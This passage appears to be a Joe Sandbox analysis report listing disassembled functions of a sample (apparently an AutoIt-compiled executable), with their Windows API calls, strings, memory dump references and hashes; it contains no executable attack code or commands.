FindResourceW.KERNEL32(?,?,0000000E), ref: 00766834
LoadResource.KERNEL32(?,00000000), ref: 00766840
LockResource.KERNEL32(00000000), ref: 0076684D
FindResourceW.KERNEL32(?,?,00000003), ref: 0076686D
LoadResource.KERNEL32(?,00000000), ref: 0076687F
SizeofResource.KERNEL32(?,00000000), ref: 0076688E
LockResource.KERNEL32(?), ref: 0076689A
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 007668F9

Strings

5}, xrefs: 007667F6

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID: 5}
API String ID: 1433390588-1756650411
Opcode ID: 455bed41a6b56320b4777681aa4a929c1aa1a42cba9b27d66f8f28c7b9fdf630
Instruction ID: 7c7c49ce7f17ba12a6be719d8077cca64c9c4e1557b6e2cccbe851170d730275
Opcode Fuzzy Hash: 455bed41a6b56320b4777681aa4a929c1aa1a42cba9b27d66f8f28c7b9fdf630
Instruction Fuzzy Hash: 8A318C7190125AABDB11AF70DD89ABA7BA8FF49340B408425FD03E7150E738DE61DBA4

Function 007625B5 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,007936F4,00000010,?,Bad directive syntax error,007BDC00,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 007625D6
LoadStringW.USER32(00000000,?,007936F4,00000010), ref: 007625DD
_wprintf.LIBCMT ref: 00762610
__swprintf.LIBCMT ref: 00762632
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 007626A1

Strings

Line %d (File "%s"):, xrefs: 00762647
Line %d:, xrefs: 0076262C
., xrefs: 00762687
%s (%d) : ==> %s.: %s %s, xrefs: 0076260B
Error: , xrefs: 0076266F

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1080873982-4153970271
Opcode ID: 1818c353bf7488aa3cdfce08667910d7e4106fbc7120e9bcc18d69e8a3d61dcc
Instruction ID: ca1772f5e789bf72266c4c000d133fceed62379217048f76fc24aecc56b57b58
Opcode Fuzzy Hash: 1818c353bf7488aa3cdfce08667910d7e4106fbc7120e9bcc18d69e8a3d61dcc
Instruction Fuzzy Hash: 4A216D7180022EEFCF12AB90DC0EEEE7B38BF18304F004455F506660A2EB79AA25DB51

Function 00767AD9 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00767B42
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00767B58
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00767B69
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00767B7B
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00767B8C

Strings

close PlayMe, xrefs: 00767B53, 00767B80
play PlayMe, xrefs: 00767B87
status PlayMe mode, xrefs: 00767B3D
open , xrefs: 00767AF1
alias PlayMe, xrefs: 00767B1B
play PlayMe wait, xrefs: 00767B76

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: SendString
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 890592661-1007645807
Opcode ID: 4cec808bd381d70081c8042ef9a4d0389f1e6933fca9644048def29167caf497
Instruction ID: dc58e4eddb5bf3fb45971c0edf34a9a3add8cb2a69c3deffbdb7220cf18acaa4
Opcode Fuzzy Hash: 4cec808bd381d70081c8042ef9a4d0389f1e6933fca9644048def29167caf497
Instruction Fuzzy Hash: 7011B2F0640269B9D724A761DC8EDFF7B7CEB91B50F00052A7816A21D1DA680A44C5B1

Function 0076778F Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00767794

Part of subcall function 0073DC38: timeGetTime.WINMM(?,7707B400,007958AB), ref: 0073DC3C

Sleep.KERNEL32(0000000A), ref: 007677C0
EnumThreadWindows.USER32(?,Function_00047744,00000000), ref: 007677E4
FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 00767806
SetActiveWindow.USER32 ref: 00767825
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00767833
SendMessageW.USER32(00000010,00000000,00000000), ref: 00767852
Sleep.KERNEL32(000000FA), ref: 0076785D
IsWindow.USER32 ref: 00767869
EndDialog.USER32(00000000), ref: 0076787A

Strings

BUTTON, xrefs: 007677F8

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 417d22b61c52c623e8ede386a91a525d972611fd8d2d024be65f2a78d9ee6d75
Instruction ID: dc8d91efbf2f3edfe4a301324c864ca710f24aff0dce889675853893daf60bd5
Opcode Fuzzy Hash: 417d22b61c52c623e8ede386a91a525d972611fd8d2d024be65f2a78d9ee6d75
Instruction Fuzzy Hash: EF216DB0205245AFE7185B20ECCDE263F6AFB8938DF048064F9078B562CB7D8D14DE28

Function 007702EE Relevance: 18.3, APIs: 12, Instructions: 282comCOMMON

Download Yara Rule

APIs

Part of subcall function 0072936C: __swprintf.LIBCMT ref: 007293AB
Part of subcall function 0072936C: __itow.LIBCMT ref: 007293DF

CoInitialize.OLE32(00000000), ref: 0077034B
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 007703DE
SHGetDesktopFolder.SHELL32(?), ref: 007703F2
CoCreateInstance.OLE32(007ADA8C,00000000,00000001,007D3CF8,?), ref: 0077043E
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 007704AD
CoTaskMemFree.OLE32(?,?), ref: 00770505
_memset.LIBCMT ref: 00770542
SHBrowseForFolderW.SHELL32(?), ref: 0077057E
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 007705A1
CoTaskMemFree.OLE32(00000000), ref: 007705A8
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 007705DF
CoUninitialize.OLE32(00000001,00000000), ref: 007705E1

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 7714ac7b01a3cfa9d3e23899519d179e2956b797a1a45b64fdca3baaa363989d
Instruction ID: 82b50268930c95fcdfcb45fbf9deb405d8e0eb71de86f7cdfdc4b42dedf418b8
Opcode Fuzzy Hash: 7714ac7b01a3cfa9d3e23899519d179e2956b797a1a45b64fdca3baaa363989d
Instruction Fuzzy Hash: F7B1E975A00118EFDB14DFA4C888DAEBBB9FF89344B148459F90AEB251D738ED45CB50

Function 00762E5B Relevance: 18.2, APIs: 12, Instructions: 185keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00762ED6
SetKeyboardState.USER32(?), ref: 00762F41
GetAsyncKeyState.USER32(000000A0), ref: 00762F61
GetKeyState.USER32(000000A0), ref: 00762F78
GetAsyncKeyState.USER32(000000A1), ref: 00762FA7
GetKeyState.USER32(000000A1), ref: 00762FB8
GetAsyncKeyState.USER32(00000011), ref: 00762FE4
GetKeyState.USER32(00000011), ref: 00762FF2
GetAsyncKeyState.USER32(00000012), ref: 0076301B
GetKeyState.USER32(00000012), ref: 00763029
GetAsyncKeyState.USER32(0000005B), ref: 00763052
GetKeyState.USER32(0000005B), ref: 00763060

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 7e27824ac758050152f44acd78a8129467c4d3d8f11409c77716a1a7520f21c2
Instruction ID: 9b66eb32be529e85cf11d51c24779b649f61b2bbe0dd2221da5e6c0858acab90
Opcode Fuzzy Hash: 7e27824ac758050152f44acd78a8129467c4d3d8f11409c77716a1a7520f21c2
Instruction Fuzzy Hash: 1A51F730A04B8869FB75DBA088147EABBF45F12340F08859DD9C3565C3DA5C9B8CC7A2

Function 0075ED02 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 0075ED1E
GetWindowRect.USER32(00000000,?), ref: 0075ED30
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0075ED8E
GetDlgItem.USER32(?,00000002), ref: 0075ED99
GetWindowRect.USER32(00000000,?), ref: 0075EDAB
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0075EE01
GetDlgItem.USER32(?,000003E9), ref: 0075EE0F
GetWindowRect.USER32(00000000,?), ref: 0075EE20
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0075EE63
GetDlgItem.USER32(?,000003EA), ref: 0075EE71
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0075EE8E
InvalidateRect.USER32(?,00000000,00000001), ref: 0075EE9B

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 287f300f4a4399d893ab0398afc75e05d78eb2ff440c5822921cd93f5dd59e1f
Instruction ID: 0b524e3d4f6db09ba55dbe3474e2e584c5f1c822dbf9b54c5022d9ddd2572c7f
Opcode Fuzzy Hash: 287f300f4a4399d893ab0398afc75e05d78eb2ff440c5822921cd93f5dd59e1f
Instruction Fuzzy Hash: 09513371B00205AFDB18CF68DD85AAEBBB6FB89701F14812DF91AD7290D7B49E048B14

Function 0073B73E Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0073B9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,0073B759,?,00000000,?,?,?,?,0073B72B,00000000,?), ref: 0073BA58

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,0073B72B), ref: 0073B7F6
KillTimer.USER32(00000000,?,00000000,?,?,?,?,0073B72B,00000000,?,?,0073B2EF,?,?), ref: 0073B88D
DestroyAcceleratorTable.USER32(00000000), ref: 0079D8A6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,0073B72B,00000000,?,?,0073B2EF,?,?), ref: 0079D8D7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,0073B72B,00000000,?,?,0073B2EF,?,?), ref: 0079D8EE
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,0073B72B,00000000,?,?,0073B2EF,?,?), ref: 0079D90A
DeleteObject.GDI32(00000000), ref: 0079D91C

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 884b2d676176e208ae5b5d5ad2b58da7595cb12e7d516e6b2688a91db5b145f2
Instruction ID: 0d1a39c29278bad3da5ebc41996f5f3f41c035fe5a5cc53a7c9faae018747f24
Opcode Fuzzy Hash: 884b2d676176e208ae5b5d5ad2b58da7595cb12e7d516e6b2688a91db5b145f2
Instruction Fuzzy Hash: 45619F30502640DFEB359F18E989B65B7B5FF99322F54851DE1828AA71CB3CBC80CB84

Function 0073B40A Relevance: 18.1, APIs: 12, Instructions: 131COMMON

Download Yara Rule

APIs

Part of subcall function 0073B526: GetWindowLongW.USER32(?,000000EB), ref: 0073B537

GetSysColor.USER32(0000000F), ref: 0073B438

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 6e2390f57bc7073ffa22096e17ab9cba8cc2438ef6ad24ed86b71cc70b147e0f
Instruction ID: 0725a348bc7088712a40d38bcf769eff32f585584e27268a129003c74952077f
Opcode Fuzzy Hash: 6e2390f57bc7073ffa22096e17ab9cba8cc2438ef6ad24ed86b71cc70b147e0f
Instruction Fuzzy Hash: 1141C630100188AFEF345F28DC89BB93766AB46731F148265FE668E5E7D7398C41D729

Function 0076690B Relevance: 18.1, APIs: 12, Instructions: 113COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 00766923
_wcscpy.LIBCMT ref: 00766934
__wsplitpath.LIBCMT ref: 00766958
__wsplitpath.LIBCMT ref: 00766979
_wcscpy.LIBCMT ref: 0076699B
_wcscpy.LIBCMT ref: 007669B9
_wcscpy.LIBCMT ref: 007669C7
_wcscat.LIBCMT ref: 007669D6
_wcscat.LIBCMT ref: 00766A2B
_wcscat.LIBCMT ref: 00766A61
_wcscat.LIBCMT ref: 00766A73

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
String ID:
API String ID: 136442275-0
Opcode ID: f447f6385d66644e2e2788d1d65deb12e434669ec561a4984eb76137b52331bf
Instruction ID: e45723b9393942d5b61da6ce769e63cc7e5aa73b172a3452d5463f4254564d33
Opcode Fuzzy Hash: f447f6385d66644e2e2788d1d65deb12e434669ec561a4984eb76137b52331bf
Instruction Fuzzy Hash: 684111B684511CEECF61EB94CC85DDF73BCEB44300F4041A6BA59A2051EB34ABE98F90

Function 0076D76A Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 180COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(007BDC00,007BDC00,007BDC00), ref: 0076D7CE
GetDriveTypeW.KERNEL32(?,007D3A70,00000061), ref: 0076D898
_wcscpy.LIBCMT ref: 0076D8C2

Strings

network, xrefs: 0076D82C
cdrom, xrefs: 0076D7EA
removable, xrefs: 0076D800
ramdisk, xrefs: 0076D842
fixed, xrefs: 0076D816
all, xrefs: 0076D7D4
unknown, xrefs: 0076D859

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: c9f5661e948add438e14d73e6a8cf69816fcde0ec15d336c75cf9c54c326e43a
Instruction ID: e3e3652e1a5f4769eff260e1983052b087510410f182f300a9e1e46b9fd0cc39
Opcode Fuzzy Hash: c9f5661e948add438e14d73e6a8cf69816fcde0ec15d336c75cf9c54c326e43a
Instruction Fuzzy Hash: 61510631614305EFC720EF14D889AAEB7A5FF84314F10882DF99A572A2DB39ED05CB52

Function 0072936C Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 145COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 007293AB
__itow.LIBCMT ref: 007293DF

Part of subcall function 00741557: _xtow@16.LIBCMT ref: 00741578

Strings

0x%p, xrefs: 00794CAD
%.15g, xrefs: 007293A5
False, xrefs: 00794C93
True, xrefs: 00794C8C

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __itow__swprintf_xtow@16
String ID: %.15g$0x%p$False$True
API String ID: 1502193981-2263619337
Opcode ID: 130269fd81f9663a186d25c008de9c08f273ac49389be7275e93709f813741a1
Instruction ID: 535125bbf1cfeff67454a6e89ae2174694cf3a81e58bafdcd086f7ac69486a70
Opcode Fuzzy Hash: 130269fd81f9663a186d25c008de9c08f273ac49389be7275e93709f813741a1
Instruction Fuzzy Hash: 4F41D871904214EFEB24EF74E945E6AB3F8EF49340F24446EE14AD7182EA39D942CB61

Function 0078A1B6 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0078A259
CreateCompatibleDC.GDI32(00000000), ref: 0078A260
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 0078A273
SelectObject.GDI32(00000000,00000000), ref: 0078A27B
GetPixel.GDI32(00000000,00000000,00000000), ref: 0078A286
DeleteDC.GDI32(00000000), ref: 0078A28F
GetWindowLongW.USER32(?,000000EC), ref: 0078A299
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 0078A2AD
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 0078A2B9

Strings

static, xrefs: 0078A1F1

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: b4ac359f665e48e98d14333fcced76ba901b75cb73fc8e741ec14f3251307544
Instruction ID: 0c4f2f42fb7cee4e3db879061a4170c6d1485b01cbeb7193e0728eb3443a53dc
Opcode Fuzzy Hash: b4ac359f665e48e98d14333fcced76ba901b75cb73fc8e741ec14f3251307544
Instruction Fuzzy Hash: 31318F31140219BBEF21AFA4DC49FDA3B69FF4E360F114215FA1AA60A0C739DC11DB65

Function 00766F02 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00766F1D
gethostname.WSOCK32(?,00000100), ref: 00766F37
gethostbyname.WSOCK32(?), ref: 00766F44
_wcscpy.LIBCMT ref: 00766F6C
inet_ntoa.WSOCK32(?), ref: 00766F8A
_strcat.LIBCMT ref: 00766F98
_wcscpy.LIBCMT ref: 00766FAF
WSACleanup.WSOCK32 ref: 00766FBD
_wcscpy.LIBCMT ref: 00766FCB

Strings

0.0.0.0, xrefs: 00766F66

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 2620052-3771769585
Opcode ID: 8e03093b49ec507de91392a0c103153933964d0b15f2e3147ae1ee1f2415ae92
Instruction ID: da2248275c5a5bb0a136c002b3410ad255f5e05e90a99ce9ff0578d54c8188f3
Opcode Fuzzy Hash: 8e03093b49ec507de91392a0c103153933964d0b15f2e3147ae1ee1f2415ae92
Instruction Fuzzy Hash: E211E472904214ABDB24AB70AC4EEDA77ACEF45710F404069F507A6081EF7C9E858BA5

Function 0074500E Relevance: 16.8, APIs: 11, Instructions: 257COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00745047

Part of subcall function 00747C0E: __getptd_noexit.LIBCMT ref: 00747C0E

__gmtime64_s.LIBCMT ref: 007450E0
__gmtime64_s.LIBCMT ref: 00745116
__gmtime64_s.LIBCMT ref: 00745133
__allrem.LIBCMT ref: 00745189
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007451A5
__allrem.LIBCMT ref: 007451BC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007451DA
__allrem.LIBCMT ref: 007451F1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0074520F
__invoke_watson.LIBCMT ref: 00745280

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

